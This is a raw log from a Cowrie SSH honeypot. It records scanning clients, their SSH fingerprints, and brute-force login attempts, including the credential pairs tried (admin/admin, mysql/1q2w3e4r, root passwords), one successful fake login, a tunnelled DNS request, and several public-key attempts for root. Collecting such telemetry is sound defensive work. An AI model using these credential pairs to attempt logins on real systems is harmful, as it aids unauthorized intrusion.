{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:22.659727Z","src_ip":"194.59.206.2","session":"47f95e04880d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:22.782144Z","src_ip":"194.59.206.2","session":"47f95e04880d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":48028,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fb796dcadac","protocol":"ssh","message":"New connection: 177.76.134.52:48028 (159.203.135.109:22) [session: 6fb796dcadac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:38.642869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:38.678548Z","src_ip":"177.76.134.52","session":"6fb796dcadac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:38.814687Z","src_ip":"177.76.134.52","session":"6fb796dcadac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"No01@DonTKeepKPX_","message":"login attempt [root/No01@DonTKeepKPX_] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:39.386164Z","src_ip":"177.76.134.52","session":"6fb796dcadac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:40.572449Z","src_ip":"177.76.134.52","session":"6fb796dcadac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":18022,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cdd7411a2d8","protocol":"ssh","message":"New connection: 176.53.159.196:18022 (159.203.135.109:22) [session: 6cdd7411a2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:44.524177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:44.527444Z","src_ip":"176.53.159.196","session":"6cdd7411a2d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:44.628668Z","src_ip":"176.53.159.196","session":"6cdd7411a2d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:44.935578Z","src_ip":"176.53.159.196","session":"6cdd7411a2d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:45.039440Z","session":"6cdd7411a2d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:45.143927Z","src_ip":"176.53.159.196","session":"6cdd7411a2d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:45.249421Z","src_ip":"176.53.159.196","session":"6cdd7411a2d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00669980049133,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:50.768543Z","src_ip":"94.23.66.112","session":"c39a7a8be634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":54291,"dst_ip":"159.203.135.109","dst_port":22,"session":"20eebaf1a336","protocol":"ssh","message":"New connection: 14.55.144.22:54291 (159.203.135.109:22) [session: 20eebaf1a336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:56.551357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:56.555349Z","src_ip":"14.55.144.22","session":"20eebaf1a336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:56.765706Z","src_ip":"14.55.144.22","session":"20eebaf1a336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1q2w3e4r","message":"login attempt [mysql/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:57.641230Z","src_ip":"14.55.144.22","session":"20eebaf1a336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:58.856378Z","src_ip":"14.55.144.22","session":"20eebaf1a336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.110","src_port":49390,"dst_ip":"10.17.0.5","dst_port":22,"session":"15ef84687538","protocol":"ssh","message":"New connection: 191.101.33.110:49390 (10.17.0.5:22) [session: 15ef84687538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:58.867819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:58.871818Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:58.899010Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:66:43:67:7e:ed:79:b2:4d:06:30:4b:9f:84:2d:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn7DmkNT9nUmJzpsv8Te9RsZE+EDHBrHEMsUtHtEOdUvppRFZjAU3auz6x24ha+qi+KN4leTx1JEaD4/jIY8EyzjXFTv3Qywvo2cO83HiIrk6/hkUvXv5MKmnCWpvTZmijlbH+ABD02ygXUWJ9URUXS4wHa7gN4xwDUoZIT5+AyWlEeiz4LAzO/Eq2K3awhrkCNlOWyE2+cTfT72VtkHLRibsvfgDvBifLZlyIw9JLchFVkUzuc0tk6Ntw96Lkfdhaj6ZEQAKZyMfHTbzOJr6qf6AsGPihsaLr3de6mScMMSngUfC5c/LkOaxu8mG+YNt57aTEdpdaCiPp/R3SqR+j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:66:43:67:7e:ed:79:b2:4d:06:30:4b:9f:84:2d:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.016704Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:66:43:67:7e:ed:79:b2:4d:06:30:4b:9f:84:2d:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn7DmkNT9nUmJzpsv8Te9RsZE+EDHBrHEMsUtHtEOdUvppRFZjAU3auz6x24ha+qi+KN4leTx1JEaD4/jIY8EyzjXFTv3Qywvo2cO83HiIrk6/hkUvXv5MKmnCWpvTZmijlbH+ABD02ygXUWJ9URUXS4wHa7gN4xwDUoZIT5+AyWlEeiz4LAzO/Eq2K3awhrkCNlOWyE2+cTfT72VtkHLRibsvfgDvBifLZlyIw9JLchFVkUzuc0tk6Ntw96Lkfdhaj6ZEQAKZyMfHTbzOJr6qf6AsGPihsaLr3de6mScMMSngUfC5c/LkOaxu8mG+YNt57aTEdpdaCiPp/R3SqR+j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.019810Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:0e:91:e6:fb:06:dd:62:5d:a0:e5:3b:97:03:78:90","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANnlj7hKSKvXt4Jy1weVvrlEVPY0wxd1Wm4M34Nl1428wgWMAwgWVm37fYFP2lUmw42DqU1vR8RQLvBwRB5CiVWxH6D6W2zD091+vIbSbMEX38lZnQLhk6IyMSUVHHb/C1yjp8qtLirmo0JCrwKyxQmcFOBBitWc1n7SWEHexu5dAAAAFQD4xdzxbeRHQilFZOaUUokx495mgwAAAIAH2gUax4+rzHbb9ncppJXiQfVcAeM48GKi6z1V8wJ17on/4rnIL2UumINK4IOHbqmZEaNXyF4gDNnyxkQjHQVhvX87tx+XwtcKeIdLyxmuFw+njUwiFOSu7DIBF5KCVk/o7zMQdVsym+yhNZzEflptfxxyl/46nXLcBi5BGAxKPQAAAIEAudQRcyZPEFkdCrceIslY7mnojHxCUOHNVDv8gIP2+ko9UTh4eh19v77te2ANKUpYzmyte3dtnJ2fRPeeAs7q3cQKpGqwUJSJ2eXs0Hel7IxoGm1e6WZ8xzcHIyWQ8aY0dbnXgqjkR0fcjqEpGAj6vowBrgfj44MRcGw96ij8r2M=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d2:0e:91:e6:fb:06:dd:62:5d:a0:e5:3b:97:03:78:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.047811Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:0e:91:e6:fb:06:dd:62:5d:a0:e5:3b:97:03:78:90","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANnlj7hKSKvXt4Jy1weVvrlEVPY0wxd1Wm4M34Nl1428wgWMAwgWVm37fYFP2lUmw42DqU1vR8RQLvBwRB5CiVWxH6D6W2zD091+vIbSbMEX38lZnQLhk6IyMSUVHHb/C1yjp8qtLirmo0JCrwKyxQmcFOBBitWc1n7SWEHexu5dAAAAFQD4xdzxbeRHQilFZOaUUokx495mgwAAAIAH2gUax4+rzHbb9ncppJXiQfVcAeM48GKi6z1V8wJ17on/4rnIL2UumINK4IOHbqmZEaNXyF4gDNnyxkQjHQVhvX87tx+XwtcKeIdLyxmuFw+njUwiFOSu7DIBF5KCVk/o7zMQdVsym+yhNZzEflptfxxyl/46nXLcBi5BGAxKPQAAAIEAudQRcyZPEFkdCrceIslY7mnojHxCUOHNVDv8gIP2+ko9UTh4eh19v77te2ANKUpYzmyte3dtnJ2fRPeeAs7q3cQKpGqwUJSJ2eXs0Hel7IxoGm1e6WZ8xzcHIyWQ8aY0dbnXgqjkR0fcjqEpGAj6vowBrgfj44MRcGw96ij8r2M=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.051285Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:43:18:f0:6b:f7:9d:c6:04:11:19:1f:05:cb:0b:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFSq5RC2DkuT/dhjCeNWomdB6a5Lg59YzK0YnzTNy9rZNpRTOEkkEdr98TicPC/ZMiyDLstjgbBuK1La23JHP3gzq8Z+jXbIV47q8bZD5bzJIAGIKu/0c6Dp+YD4nnQOnk/hw5u2V2M16/a1fLXCxLMw0mDXuw5r9TETFlwsTO7Q7cf/bxZpJzU3iSXKGJadLhsXPFBq7H2gPKXQma+X/gTfkb3SCi+UN2APuDVjcwBVEI4oM5HrGhHgQ40XLJgIVvjX2KoS+p0me8SYPFCUKOQc6s5CADe5VsS9H5+UnLFDTUdiMYr8mPs+31D336rgWWKGqhcUVwg8k+BpOENQ595j6oBNfkR6VXYeAbIQZjQqlQeAmBAmibnYVj9xpbifc3qDSc00RL4oedU/4DJQCUOZQR7PdpkPcpJ8QEyEUx29/q6xz2Yd0CxRLYMwz0wglqZqMcIuEjJqUeTvjRmp/4c2Q/96h+HieuZ0sC1MwmrvHpXUHccimqzSCeWtH+bBU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:43:18:f0:6b:f7:9d:c6:04:11:19:1f:05:cb:0b:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.079846Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:43:18:f0:6b:f7:9d:c6:04:11:19:1f:05:cb:0b:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFSq5RC2DkuT/dhjCeNWomdB6a5Lg59YzK0YnzTNy9rZNpRTOEkkEdr98TicPC/ZMiyDLstjgbBuK1La23JHP3gzq8Z+jXbIV47q8bZD5bzJIAGIKu/0c6Dp+YD4nnQOnk/hw5u2V2M16/a1fLXCxLMw0mDXuw5r9TETFlwsTO7Q7cf/bxZpJzU3iSXKGJadLhsXPFBq7H2gPKXQma+X/gTfkb3SCi+UN2APuDVjcwBVEI4oM5HrGhHgQ40XLJgIVvjX2KoS+p0me8SYPFCUKOQc6s5CADe5VsS9H5+UnLFDTUdiMYr8mPs+31D336rgWWKGqhcUVwg8k+BpOENQ595j6oBNfkR6VXYeAbIQZjQqlQeAmBAmibnYVj9xpbifc3qDSc00RL4oedU/4DJQCUOZQR7PdpkPcpJ8QEyEUx29/q6xz2Yd0CxRLYMwz0wglqZqMcIuEjJqUeTvjRmp/4c2Q/96h+HieuZ0sC1MwmrvHpXUHccimqzSCeWtH+bBU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.082901Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:f1:10:f3:6c:16:e1:e3:17:1c:bb:f0:15:70:7a:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjn2LXEmkWNnBYXlJ3t0Dz1mkRbd7tgcVnZWKDoeie+WckE8KHcELV2fiB2no+ZMoIICuCcr3MEf5Um7LkMMXuYxAUPsgy6IHSzpiHCtYN94XQnlM/P/6Gw7WY02U3nX7twwgD2e1/gLUzwx1EcGrMx7BwYxdyNQBm/V6IdrTDQHmiS6rGTFPG1CjQ7BvbLiCJPE29an9vJBCPuvHEXQyO17xcLxRqY7eQNQIdRYxcaPIbhkIQIZLzsaoW8X+eBXEWi8LSva0+maVgZY7qk5tjAl6bj7HLFn4P5PKYlleXMn7wfoOw+xv42AjvOB7/ZmzIYInEa4mla2ffgNkY5BTvv2o4Ac6q6xleeA9zIKoVFAt+g77YqVsW8O2xBoB2TEDdAidy07gACWgeKkRZ2swwZqUoSguUwhwfL5P17+apfNmMtrr0x0dafNPZjKNnE2SpfqLcfaKSHgp5gX6ttq09kunhYE87gWV/mCAJfvXvGKAgxZM46JbMzovJGOw7OiU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:f1:10:f3:6c:16:e1:e3:17:1c:bb:f0:15:70:7a:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.113583Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:f1:10:f3:6c:16:e1:e3:17:1c:bb:f0:15:70:7a:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjn2LXEmkWNnBYXlJ3t0Dz1mkRbd7tgcVnZWKDoeie+WckE8KHcELV2fiB2no+ZMoIICuCcr3MEf5Um7LkMMXuYxAUPsgy6IHSzpiHCtYN94XQnlM/P/6Gw7WY02U3nX7twwgD2e1/gLUzwx1EcGrMx7BwYxdyNQBm/V6IdrTDQHmiS6rGTFPG1CjQ7BvbLiCJPE29an9vJBCPuvHEXQyO17xcLxRqY7eQNQIdRYxcaPIbhkIQIZLzsaoW8X+eBXEWi8LSva0+maVgZY7qk5tjAl6bj7HLFn4P5PKYlleXMn7wfoOw+xv42AjvOB7/ZmzIYInEa4mla2ffgNkY5BTvv2o4Ac6q6xleeA9zIKoVFAt+g77YqVsW8O2xBoB2TEDdAidy07gACWgeKkRZ2swwZqUoSguUwhwfL5P17+apfNmMtrr0x0dafNPZjKNnE2SpfqLcfaKSHgp5gX6ttq09kunhYE87gWV/mCAJfvXvGKAgxZM46JbMzovJGOw7OiU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.116575Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
